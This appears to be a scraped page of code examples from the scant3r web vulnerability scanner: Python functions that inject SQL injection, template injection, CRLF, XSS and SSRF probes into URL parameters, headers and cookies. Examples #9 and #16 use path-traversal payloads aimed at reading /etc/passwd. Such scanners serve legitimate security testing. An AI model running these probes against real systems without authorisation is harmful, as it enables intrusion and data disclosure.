예제 #1
0
 def Get(url):
     if methods.Get(url) == 1:
         if 1 == 1:
             for param in url.split('?')[1].split('&'):
                 for payload, message in ssti_payloads.items():
                     r = nq.Get(url)
                     if r == 0:
                         break
                     r = len(findall(message.encode('utf-8'), r.content))
                     req = nq.Get(url.replace(param, param + en(payload)))
                     if req == 0:
                         break
                     if r < len(
                             findall(message.encode('utf-8'), req.content)):
                         bug = {
                             'name': 'template injection',
                             'payload': payload,
                             'method': 'GET',
                             'parameter': param,
                             'link': url.replace(param,
                                                 param + en(payload)),
                             'target': url.split('?')[0]
                         }
                         show.bug(bug='template injection',
                                  payload=payload,
                                  method='GET',
                                  parameter=param,
                                  link=url.replace(param,
                                                   param + en(payload)))
                         return bug
     return None
예제 #2
0
 def Get(url):
     for param in url.split('?')[1].split('&'):
         for payload in sqli_payloads:
             r = nq.Get(url)
             if r == 0:
                 break
             save_request.save(r)
             req = nq.Get(url.replace(param, param + payload))
             if req == 0:
                 break
             for n, e in sql_err.items():
                 r2 = findall(e.encode('utf-8'), save_request.get().content)
                 r3 = findall(e.encode('utf-8'), req.content)
                 if len(r2) < len(r3):
                     bug = {
                         'name': 'SQL injection',
                         'payload': payload,
                         'method': 'GET',
                         'parameter': param,
                         'link': url.replace(param, param + en(payload)),
                         'target': url.split('?')[0]
                     }
                     show.bug(bug='SQL injection',
                              payload=payload,
                              method='GET',
                              parameter=param,
                              target=url.split('?')[0],
                              link=url.replace(param, param + en(payload)))
                     return bug
     return None
예제 #3
0
 def Get(url):
     d = nq.Dump()
     for header in SCAN_Headers:
         for payload in sqli_payloads:
             all_headers = {}
             r = nq.Get(url)
             if r == 0:
                 break
             save_request.save(r)
             try:
                 H = nq.Dump()['headers'][header]
                 P = f'{H}{payload}'
             except:
                 P = payload
             for H, V in d['headers'].items():
                 if H == header:
                     pass
                 else:
                     all_headers[H] = V
             all_headers[header] = P
             req = REQ(url.split('?')[0], method='GET', headers=all_headers)
             if req == 0:
                 break
             for n, e in sql_err.items():
                 r2 = findall(e.encode('utf-8'), save_request.get().content)
                 r3 = findall(e.encode('utf-8'), req.content)
                 if len(r2) < len(r3):
                     show.bug_Header(bug='SQL injection',
                                     payload=payload,
                                     method='GET',
                                     header=header,
                                     target=url)
                     break
예제 #4
0
 def Get(url):
     d = nq.Dump()
     for header in SCAN_Headers:
         for payload, message in ssti_payloads.items():
             all_headers = {}
             r = nq.Get(url)
             if r == 0:
                 break
             r = len(findall(message.encode('utf-8'), r.content))
             try:
                 H = nq.Dump()['headers'][header]
                 P = f'{H}{payload}'
             except:
                 P = payload
             for H, V in d['headers'].items():
                 if H == header:
                     pass
                 else:
                     all_headers[H] = V
             all_headers[header] = P
             req = REQ(url.split('?')[0], headers=all_headers)
             if req == 0:
                 break
             if r < len(findall(message.encode('utf-8'), req.content)):
                 show.bug_Header(bug='template injection',
                                 payload=payload,
                                 method='GET',
                                 header=header,
                                 target=url)
                 break
예제 #5
0
 def Get(url):
     for param in url.split('?')[1].split('&'):
         for payload in crlf_payloads:
             r = nq.Get(url.replace(param,param + en(payload)))
             if r == 0:
                 break
             if r.headers.get('Header-Test'):
                 bug = {
                         'name':'CRLF injection',
                         'payload':payload.replace('\n','%0a').replace('\r','%0d'),
                         'method':'GET',
                         'parameter':param,
                         'link':url.replace(param,param + en(payload)),
                         'target':url.split('?')[0]
                     }
                 show.bug(
                 bug='CRLF injection',
                 payload=payload.replace('\n','%0a').replace('\r','%0d'),
                 method='GET',
                 parameter=param,
                 link=url.replace(param,param + en(payload))
                         )
                 return bug
             else:
                 continue
     return None
예제 #6
0
 def Get(url):
     mt = methods.Get(url)
     if mt == 0:
         pass
     elif mt == 1 and refxss.Get(url) == 1:
         for param in url.split("?")[1].split("&"):
             for payload in xss_payloads:
                 req = nq.Get(url.replace(param, param + en(payload)))
                 if req != 0:
                     if payload.encode('utf-8') in req.content:
                         bug = {
                             'name': 'Corss-site scripting',
                             'payload': payload,
                             'method': 'GET',
                             'parameter': param,
                             'link': url.replace(param, param + en(payload))
                         }
                         show.bug(bug='Cross-site scripting',
                                  payload=payload,
                                  method='GET',
                                  parameter=param,
                                  link=url.replace(param,
                                                   param + en(payload)))
                         return bug
     return None
예제 #7
0
 def Get(url):
     for param in url.split('?')[1].split('&'):
         for payload, message in ssti_payloads.items():
             r = nq.Get(url)
             if r == 0:
                 break
             r = len(findall(message.encode('utf-8'), r.content))
             req = nq.Get(url.replace(param, param + en(payload)))
             if req == 0:
                 break
             if r < len(findall(message.encode('utf-8'), req.content)):
                 show.bug(bug='template injection',
                          payload=payload,
                          method='GET',
                          parameter=param,
                          link=url.replace(param, param + en(payload)))
                 break
예제 #8
0
 def Get(url):
     try:
         if nq.Get(url).status_code != 405:
             return 1
         else:
             return 0
     except:
         return 0
예제 #9
0
파일: usid.py 프로젝트: ynairport/scant3r
def run(options):
    for url in options['url']:
        cookie['usid'] = '../../../../../../../../../../../../../etc/passwd'
        nq.Update(cookie=cookie)
        r = nq.Get(url)
        if r != 0:
            if '/usr/sbin/nologin' in r.content.decode():
                print("[+] Read /etc/passwd :)")
        print('hi')
예제 #10
0
def httper(url):
    try:
        url = parser(url)
        proto_url = [f'http://{url}', f'https://{url}']
        for url in proto_url:
            r = nq.Get(url)
            if r != 0:
                print(r.url)
    except Exception as e:
        print(e)
예제 #11
0
 def Get(url):
     try:
         for param in url.split('?')[1].split('&'):
            url = url.replace(param, f'{param}scantrrr')
         r = nq.Get(url)
         if r.content.decode().lower().find('scantrrr') != -1:
             return 1
         else:
             return 0
     except:
         return 0
예제 #12
0
 def Get(url):
     for param in url.split("?")[1].split("&"):
         for payload in xss_payloads:
             req = nq.Get(url.replace(param, param + en(payload)))
             if req != 0:
                 if payload.encode('utf-8') in req.content:
                     show.bug(bug='Cross-site scripting',
                              payload=payload,
                              method='GET',
                              parameter=param,
                              link=url.replace(param, param + en(payload)))
                     break
예제 #13
0
 def Get(url):
     try:
         for param in url.split('?')[1].split('&'):
            url = url.replace(param, f'{param}scantrrr')
         r = nq.Get(url)
         for header,value in r.headers.items():
             if 'scantrrr' in header or 'scantrrr' in value:
                 return 1
         else:
             return 0
     except:
         return 0
예제 #14
0
def GO(url,host):
    d = "?r="+urlencoder(f'{host}/r')
#    print(d)
    l = len(ssrf_parameters)
    for par in ssrf_parameters:
        pay = urlencoder(f'{host}/{par}')
        d += f'&{par}={pay}'
#        print(d)
        if len(d) > l*3:
            nq.Get(d)
            nq.Post(url.split('?')[0],urlparse(d).query)
            d = f"{url.split('?')[0]}?r={host}/r"
예제 #15
0
 def Get(url):
     for param in url.split('?')[1].split('&'):
         for payload in crlf_payloads:
             r = nq.Get(url.replace(param, param + en(payload)))
             if r == 0:
                 break
             if 'BLATRUC' == r.headers.get('Header-Test'):
                 show.bug(bug='CRLF injection',
                          payload=payload.replace('\n', '%0a').replace(
                              '\r', '%0d'),
                          method='GET',
                          parameter=param,
                          link=url.replace(param, param + en(payload)))
             else:
                 continue
예제 #16
0
파일: accept.py 프로젝트: w4fz5uck5/scant3r
def scan(host):
    try:
        payloads = {
                '../../../../../../../../../../etc/passwd{{':'root:'
        }
        for payload,msg in payloads.items():
            nq.Update(header={'Accept':payload})
            r = nq.Get(host)
            if r != 0:
                try:
                    if msg.encode() in r.content:
                        print(f'[+] Found :> {host}')
                finally:
                    pass
    finally:
        pass
예제 #17
0
def GO(host):
    h = host
    for path, msg in paths.items():
        host = urljoin(host, path)
        try:
            r = nq.Get(host)
            if r != 0:
                try:
                    int(msg)
                    if msg == r.status_code:
                        print(f'{good} Found :> {host}')
                except:
                    if msg in r.content.decode('utf-8'):
                        print(f'{good} Found :> {host}')
        except:
            pass
        finally:
            host = h
예제 #18
0
def reflect(link):
    try:
        for parameter in link.split('?')[1].split('&'):
            newparameter = f'><sca{randint(1,20)}nt3r'
            newlink = link.replace(parameter, parameter + newparameter)
            r = nq.Get(newlink)
            if r != 0:
                if newparameter in r.content.decode('utf-8'):
                    print(f'''
{good} Relfected > {newlink} 
{info} Parameter > {parameter}
{info} Text > {newparameter}
''')
                else:
                    continue
    except:
        pass
    finally:
        pass
예제 #19
0
def scan(host):
    try:
        payloads = {
    'scan{{6*6}}t3r':'scan36t3r',
    'scan${6*6}t3r':'scan36t3r',
    'scan<% 6*6 %>t3r':'scan36t3r'
        }
        for payload,msg in payloads.items():
            new_host = urljoin(host,f'{payload}')
            r = nq.Get(new_host)
            if r != 0:
                if msg.encode('utf-8') in r.content:
                    print(f'''
[+] Found :> {new_host}
                ''')
                    break
                else:
                    continue
    finally:
        pass
예제 #20
0
def GO(url, host):
    l = len(ssrf_parameters)
    newurl = url
    for par in ssrf_parameters:
        pay = f'{host}/{par}'
        if newurl != url:
            if len(urlparse(newurl).query) > 0:
                newurl += f'&{par}={pay}'
            else:
                newurl += f'?{par}={pay}'
        else:
            if len(urlparse(url).query) > 0:
                newurl += f'&{par}={pay}'
            else:
                newurl += f'?{par}={pay}'
        if len(urlparse(newurl).query.split(
                '=')) == parameters_in_one_request + 1:
            nq.Get(newurl)
            nq.Post(url.split('?')[0], post_data(urlparse(newurl).query))
            newurl = url
예제 #21
0
def scan(host):
    try:
        payloads = {'scant3r.org': 'scant3r.org'}
        for payload, msg in payloads.items():
            nq.Update(header={'Host': 'scant3r.org'})
            r = nq.Get(host)
            if r != 0:
                try:
                    loc = r.headers.get('Location')
                    if loc:
                        r = urlparse(loc).netloc
                        if 'scant3r.org' in r:
                            print(f'''[+] Found :> {host}''')
                            break
                        else:
                            continue
                finally:
                    pass
    finally:
        pass
예제 #22
0
def inject(host):
    for param in host.split('?')[1].split('&'):
        done = 0
        for payload in payloads:
            r = nq.Get(host.replace(param,param + payload))
            if r != 0:
                for header,value in r.headers.items():
                    if header == 'Header-Test':
                        if value == 'BLATRUC':
                            print(f'[{green}CRLF{rest}] Found :> {host.replace(param,param + payload)}')
                            done = 1
            if done == 1:
                break
    for param in host.split('?')[1].split('&'):
        done = 0
        for payload in payloads:
            data = urlparse(host.replace(param,param + payload)).query
            d = post_data(data)
            r = nq.Post(host.split('?')[0],d)
            if r != 0:
                for header,value in r.headers.items():
                    if header == 'Header-Test':
                        if value == 'BLATRUC':
                            print(f'[{green}CRLF{rest}] Found :> {host}\n{info} Method :> POST\n{info} Data :> {data}')
                            done = 1
            if done == 1:
                break
    for param in host.split('?')[1].split('&'):
        done = 0
        for payload in payloads:
            data = urlparse(host.replace(param,param + payload)).query
            d = post_data(data)
            r = nq.Put(host.split('?')[0],d)
            if r != 0:
                for header,value in r.headers.items():
                    if header == 'Header-Test':
                        if value == 'BLATRUC':
                            print(f'[{green}CRLF{rest}] Found :> {host}\n{info} Method :> PUT\n{info} Data :> {data}')
                            done = 1
            if done == 1:
                break
예제 #23
0
파일: lorsrf.py 프로젝트: ynairport/scant3r
def GO(url, host):
    for par in ssrf_parameters:
        nq.Get(f"{url.split('?')[0]}/?{par}={host}/{par}")
        nq.Post(url.split('?')[0], post_data(f'{par}={host}/{par}'))
        nq.Put(url.split('?')[0], post_data(f'{par}={host}/{par}'))